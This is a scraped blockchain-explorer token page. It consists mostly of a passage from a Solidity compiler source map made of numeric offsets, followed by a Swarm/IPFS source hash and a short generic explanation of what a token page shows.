1;12600:7;12589:8;12578:9;12574:24;12547:61;:::i;:::-;12627:8;;-1:-1:-1;12521:87:1;-1:-1:-1;12715:2:1;12700:18;;12687:32;;-1:-1:-1;12731:16:1;;;12728:36;;;12760:1;12757;12750:12;12728:36;;12783:52;12827:7;12816:8;12805:9;12801:24;12783:52;:::i;:::-;12773:62;;;11920:921;;;;;;;;:::o;12846:385::-;12932:6;12940;12948;12956;13009:3;12997:9;12988:7;12984:23;12980:33;12977:53;;;13026:1;13023;13016:12;12977:53;-1:-1:-1;;13049:23:1;;;13119:2;13104:18;;13091:32;;-1:-1:-1;13170:2:1;13155:18;;13142:32;;13221:2;13206:18;13193:32;;-1:-1:-1;12846:385:1;-1:-1:-1;12846:385:1:o;13236:538::-;13331:6;13339;13347;13355;13408:3;13396:9;13387:7;13383:23;13379:33;13376:53;;;13425:1;13422;13415:12;13376:53;13448:29;13467:9;13448:29;:::i;:::-;13438:39;;13496:38;13530:2;13519:9;13515:18;13496:38;:::i;:::-;13486:48;;13581:2;13570:9;13566:18;13553:32;13543:42;;13636:2;13625:9;13621:18;13608:32;-1:-1:-1;;;;;13655:6:1;13652:30;13649:50;;;13695:1;13692;13685:12;13649:50;13718;13760:7;13751:6;13740:9;13736:22;13718:50;:::i;:::-;13708:60;;;13236:538;;;;;;;:::o;13779:411::-;13850:6;13858;13911:2;13899:9;13890:7;13886:23;13882:32;13879:52;;;13927:1;13924;13917:12;13879:52;13967:9;13954:23;-1:-1:-1;;;;;13992:6:1;13989:30;13986:50;;;14032:1;14029;14022:12;13986:50;14071:59;14122:7;14113:6;14102:9;14098:22;14071:59;:::i;:::-;14149:8;;14045:85;;-1:-1:-1;13779:411:1;-1:-1:-1;;;;13779:411:1:o;14195:479::-;14275:6;14283;14291;14344:2;14332:9;14323:7;14319:23;14315:32;14312:52;;;14360:1;14357;14350:12;14312:52;14396:9;14383:23;14373:33;;14457:2;14446:9;14442:18;14429:32;-1:-1:-1;;;;;14476:6:1;14473:30;14470:50;;;14516:1;14513;14506:12;14470:50;14555:59;14606:7;14597:6;14586:9;14582:22;14555:59;:::i;14679:260::-;14747:6;14755;14808:2;14796:9;14787:7;14783:23;14779:32;14776:52;;;14824:1;14821;14814:12;14776:52;14847:29;14866:9;14847:29;:::i;:::-;14837:39;;14895:38;14929:2;14918:9;14914:18;14895:38;:::i;14944:380::-;15023:1;15019:12;;;;15066;;;15087:61;;15141:4;15133:6;15129:17;15119:27;;15087:61;15194:2;15186:6;15183:14;15163:18;15160:38;15157:161;;15240:10;15235:3;15231:20;15228:1;15221:31;15275:4;15272:1;15265:15;15303:4;15300:1;15293:15;15157:161;;14944:380;;;:::o;15329:356::-;15531:2;15513:21;;;15550:18;;;15543:30;15609:34;15604:2;15589:18;;15582:62;15676:2;15661:18;;15329:356::o;15815:544::-;15916:2;15911:3;15908:11;15905:448;;;15952:1;15977:5;15973:2;15966:17;16022:4;16018:2;16008:19;16092:2;16080:10;16076:19;16073:1;16069:27;16063:4;16059:38;16128:4;16116:10;16113:20;16110:47;;;-1:-1:-1;16151:4:1;16110:47;16206:2;16201:3;16197:12;16194:1;16190:20;16184:4;16180:31;16170:41;;16261:82;16279:2;16272:5;16269:13;16261:82;;;16324:17;;;16305:1;16294:13;16261:82;;;16265:3;;;15815:544;;;:::o;16535:1348::-;16659:3;16653:10;-1:-1:-1;;;;;16678:6:1;16675:30;16672:56;;;16708:18;;:::i;:::-;16737:96;16826:6;16786:38;16818:4;16812:11;16786:38;:::i;:::-;16780:4;16737:96;:::i;:::-;16888:4;;16952:2;16941:14;;16969:1;16964:662;;;;17670:1;17687:6;17684:89;;;-1:-1:-1;17739:19:1;;;17733:26;17684:89;-1:-1:-1;;16492:1:1;16488:11;;;16484:24;16480:29;16470:40;16516:1;16512:11;;;16467:57;17786:81;;16934:943;;16964:662;15762:1;15755:14;;;15799:4;15786:18;;-1:-1:-1;;17000:20:1;;;17117:236;17131:7;17128:1;17125:14;17117:236;;;17220:19;;;17214:26;17199:42;;17312:27;;;;17280:1;17268:14;;;;17147:19;;17117:236;;;17121:3;17381:6;17372:7;17369:19;17366:201;;;17442:19;;;17436:26;-1:-1:-1;;17525:1:1;17521:14;;;17537:3;17517:24;17513:37;17509:42;17494:58;17479:74;;17366:201;-1:-1:-1;;;;;17613:1:1;17597:14;;;17593:22;17580:36;;-1:-1:-1;16535:1348:1:o;17888:273::-;18073:6;18065;18060:3;18047:33;18029:3;18099:16;;18124:13;;;18099:16;17888:273;-1:-1:-1;17888:273:1:o;19437:332::-;19639:2;19621:21;;;19678:1;19658:18;;;19651:29;-1:-1:-1;;;19711:2:1;19696:18;;19689:39;19760:2;19745:18;;19437:332::o;19774:336::-;19976:2;19958:21;;;20015:2;19995:18;;;19988:30;-1:-1:-1;;;20049:2:1;20034:18;;20027:42;20101:2;20086:18;;19774:336::o;20115:::-;20317:2;20299:21;;;20356:2;20336:18;;;20329:30;-1:-1:-1;;;20390:2:1;20375:18;;20368:42;20442:2;20427:18;;20115:336::o;20792:289::-;20923:3;20961:6;20955:13;20977:66;21036:6;21031:3;21024:4;21016:6;21012:17;20977:66;:::i;:::-;21059:16;;;;;20792:289;-1:-1:-1;;20792:289:1:o;21086:345::-;21288:2;21270:21;;;21327:2;21307:18;;;21300:30;-1:-1:-1;;;21361:2:1;21346:18;;21339:51;21422:2;21407:18;;21086:345::o;22791:127::-;22852:10;22847:3;22843:20;22840:1;22833:31;22883:4;22880:1;22873:15;22907:4;22904:1;22897:15;22923:128;22990:9;;;23011:11;;;23008:37;;;23025:18;;:::i;23056:722::-;23106:3;23147:5;23141:12;23176:36;23202:9;23176:36;:::i;:::-;23231:1;23248:18;;;23275:133;;;;23422:1;23417:355;;;;23241:531;;23275:133;-1:-1:-1;;23308:24:1;;23296:37;;23381:14;;23374:22;23362:35;;23353:45;;;-1:-1:-1;23275:133:1;;23417:355;23448:5;23445:1;23438:16;23477:4;23522:2;23519:1;23509:16;23547:1;23561:165;23575:6;23572:1;23569:13;23561:165;;;23653:14;;23640:11;;;23633:35;23696:16;;;;23590:10;;23561:165;;;23565:3;;;23755:6;23750:3;23746:16;23739:23;;23241:531;;;;;23056:722;;;;:::o;23783:277::-;23956:3;23981:73;24015:38;24049:3;24041:6;24015:38;:::i;:::-;24007:6;23981:73;:::i;24065:127::-;24126:10;24121:3;24117:20;24114:1;24107:31;24157:4;24154:1;24147:15;24181:4;24178:1;24171:15;24197:135;24236:3;24257:17;;;24254:43;;24277:18;;:::i;:::-;-1:-1:-1;24324:1:1;24313:13;;24197:135::o;24337:136::-;24376:3;24404:5;24394:39;;24413:18;;:::i;:::-;-1:-1:-1;;;24449:18:1;;24337:136::o;24478:168::-;24551:9;;;24582;;24599:15;;;24593:22;;24579:37;24569:71;;24620:18;;:::i;24651:217::-;24691:1;24717;24707:132;;24761:10;24756:3;24752:20;24749:1;24742:31;24796:4;24793:1;24786:15;24824:4;24821:1;24814:15;24707:132;-1:-1:-1;24853:9:1;;24651:217::o;25221:343::-;25423:2;25405:21;;;25462:2;25442:18;;;25435:30;-1:-1:-1;;;25496:2:1;25481:18;;25474:49;25555:2;25540:18;;25221:343::o;25929:629::-;26198:3;26236:6;26230:13;26252:66;26311:6;26306:3;26299:4;26291:6;26287:17;26252:66;:::i;:::-;-1:-1:-1;;;26340:16:1;;;26365:18;;;26408:13;;26430:78;26408:13;26495:1;26484:13;;26477:4;26465:17;;26430:78;:::i;:::-;26528:20;26550:1;26524:28;;25929:629;-1:-1:-1;;;;25929:629:1:o;26563:328::-;26765:2;26747:21;;;26804:1;26784:18;;;26777:29;-1:-1:-1;;;26837:2:1;26822:18;;26815:35;26882:2;26867:18;;26563:328::o;27524:1204::-;-1:-1:-1;;;;;27643:3:1;27640:27;27637:53;;;27670:18;;:::i;:::-;27699:93;27788:3;27748:38;27780:4;27774:11;27748:38;:::i;:::-;27742:4;27699:93;:::i;:::-;27818:1;27843:2;27838:3;27835:11;27860:1;27855:615;;;;28514:1;28531:3;28528:93;;;-1:-1:-1;28587:19:1;;;28574:33;28528:93;-1:-1:-1;;16492:1:1;16488:11;;;16484:24;16480:29;16470:40;16516:1;16512:11;;;16467:57;28634:78;;27828:894;;27855:615;15762:1;15755:14;;;15799:4;15786:18;;-1:-1:-1;;27891:17:1;;;27991:9;28013:229;28027:7;28024:1;28021:14;28013:229;;;28116:19;;;28103:33;28088:49;;28223:4;28208:20;;;;28176:1;28164:14;;;;28043:12;28013:229;;;28017:3;28270;28261:7;28258:16;28255:159;;;28394:1;28390:6;28384:3;28378;28375:1;28371:11;28367:21;28363:34;28359:39;28346:9;28341:3;28337:19;28324:33;28320:79;28312:6;28305:95;28255:159;;;28457:1;28451:3;28448:1;28444:11;28440:19;28434:4;28427:33;27828:894;;27524:1204;;;:::o;28733:369::-;28909:3;28947:6;28941:13;28963:66;29022:6;29017:3;29010:4;29002:6;28998:17;28963:66;:::i;:::-;29045:51;29088:6;29083:3;29079:16;29071:6;29045:51;:::i;:::-;29038:58;28733:369;-1:-1:-1;;;;;28733:369:1:o;30509:489::-;-1:-1:-1;;;;;30778:15:1;;;30760:34;;30830:15;;30825:2;30810:18;;30803:43;30877:2;30862:18;;30855:34;;;30925:3;30920:2;30905:18;;30898:31;;;30703:4;;30946:46;;30972:19;;30964:6;30946:46;:::i;:::-;30938:54;30509:489;-1:-1:-1;;;;;;30509:489:1:o;31003:249::-;31072:6;31125:2;31113:9;31104:7;31100:23;31096:32;31093:52;;;31141:1;31138;31131:12;31093:52;31173:9;31167:16;31192:30;31216:5;31192:30;:::i

Swarm Source

ipfs://8883f09a5e6064bd3598a622d8f10b441382231c023edcc7ee493028daae1e3f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.